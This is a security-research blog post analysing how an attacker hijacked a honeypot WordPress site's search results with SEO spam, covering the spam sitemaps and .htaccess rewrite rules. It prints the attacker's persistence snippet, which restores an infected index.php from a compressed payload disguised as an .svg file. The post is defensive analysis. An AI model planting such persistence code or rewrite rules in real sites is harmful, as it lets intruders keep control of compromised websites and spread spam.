Back to Articles

Hijacking a Website’s SERP Results with SEO SPAM

By Tony Perez (@perezbox) Posted in: security-research, wordpress-security

Over the past few weeks we have been following a bad actor as they attack and take control of a WordPress website we manage. In the process, we’ve seen them riddle the site with backdoors and perform SPAM injections pointing to 17 domains with over 17,000 entries.

This article builds on those observations and focuses on how they create a more sophisticated SEO spam farm that hijacks the website’s Search Engine Results Pages (SERPs). The end result: the site gets a “This site may be compromised” label, keyword noise floods analytics, and marketers inherit a mess. Here’s one example of how it works.

This is what we mean by hijacked SERPs:

NOC - Hijacked SERP Results

Updated: 2022-08-24 — Series index:

  1. Part 1: How WordPress Gets Hacked in 2022 - Initial Reconnaissance
  2. Part 2: What Hackers Do with WordPress in 2022 - Post Hack Analysis
  3. Part 3: Analyzing 17,000 Spam Links on a Hacked WordPress Site
  4. Part 4: Hijacking a Website’s SERP Results with SEO SPAM
  5. Part 5: Navigating 81 Layers of Encoding to Reveal the C&C

The Building Blocks of a SERP Hijacking Campaign

In the variation we observed, the attacker modifies/creates:

ElementDescription
index.phpDynamically pulls & renders product-like pages
.htaccessRewrites to programmatically map “product” slugs & sitemaps
/websiteDirectory housing generated sitemap files
sitemap.xmlRoot sitemap referencing product sitemaps
wp-includes/load.phpChecks payload status; restores if removed
./wp-admin/images/vzoahncmaq.svgBacked-up, compressed payload (for index.php restore)

The core is index.php + .htaccess working in tandem. Here’s the .htaccess snippet:

RewriteRule ^[a-z]+-(\d+)-.+/$ index\.php?id=$1&%{QUERY_STRING} [L]
RewriteRule ^.+-(\d+)/$ index\.php?cat=$1&%{QUERY_STRING} [L]
RewriteRule ^.*(product.*\.xml)$ website/$1 [L]
RewriteRule ^.*(sitemap\.xml)$ website/$1 [L]

In website/ you’ll find the generated sitemaps:

NOC - Hijacked SERP Results - SiteMap List

There are 26 product sitemaps (A–Z), each with 1,066 URLs (≈27,716 links), plus 1,066 in the main product map and 3,134 in the root sitemap—~31,916 spam URLs total, on top of the 17k hidden in functions.php.

<url>
<loc>https://[honeypot domain]/axraelw-65636-Yellow-Brown-Padded-Bubble-Postal-Bags-Envelopes/</loc>
<lastmod>2022-08-21T08:08:34+00:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>

Ensuring the Payload Survives

Persistence matters. The attacker patches wp-includes/load.php to restore index.php from a compressed payload if its size changes:

// environment system $v3 = './wp-admin/images/vzoahncmaq.svg'; if (filesize("index.php") < 31898) { if (file_exists($v3)) { $string = gzinflate(file_get_contents($v3)); if (strlen($string) > 31898 && strstr($string, "<?php")) file_put_contents("index.php", $string); } } // upgrading plugins

In short: if you delete/trim the infected index.php, their code repopulates it from vzoahncmaq.svg.

Trunc — SIEM & Log Management

Centralize logs, search in real time, and ship alerts that matter. Simple, fast, and affordable.

Get Started